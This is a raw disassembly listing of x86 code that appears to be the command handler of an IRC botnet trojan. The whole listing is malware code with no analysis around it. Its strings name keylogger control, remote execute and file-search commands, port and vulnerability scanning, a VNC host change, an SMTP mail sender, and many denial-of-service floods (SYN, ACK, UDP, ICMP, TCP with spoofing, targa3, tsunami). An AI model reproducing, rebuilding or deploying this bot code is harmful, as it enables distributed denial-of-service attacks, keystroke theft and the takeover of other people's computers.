dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410BFD push ebx push ebx call dword_427084 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_2 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset sub_41525A push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset sub_4141B2 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 ; WSAStartup lea eax, [ebp+var_46F0] push eax call dword_4CBA58 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CBA54 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C ; connect mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC ; recv lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 ; send push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC ; recv push esi call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset sub_4149C1 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset sub_413E10 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; 